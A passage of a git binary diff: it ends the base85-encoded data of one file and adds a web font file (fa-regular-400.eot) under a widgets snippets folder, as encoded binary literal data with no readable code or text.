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 literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.eot b/pages/widgets/_snippets/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000000000000000000000000000000000000..38cf2517a4da71a05f8e83723cdffce45ebc3319 GIT binary patch literal 34390 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 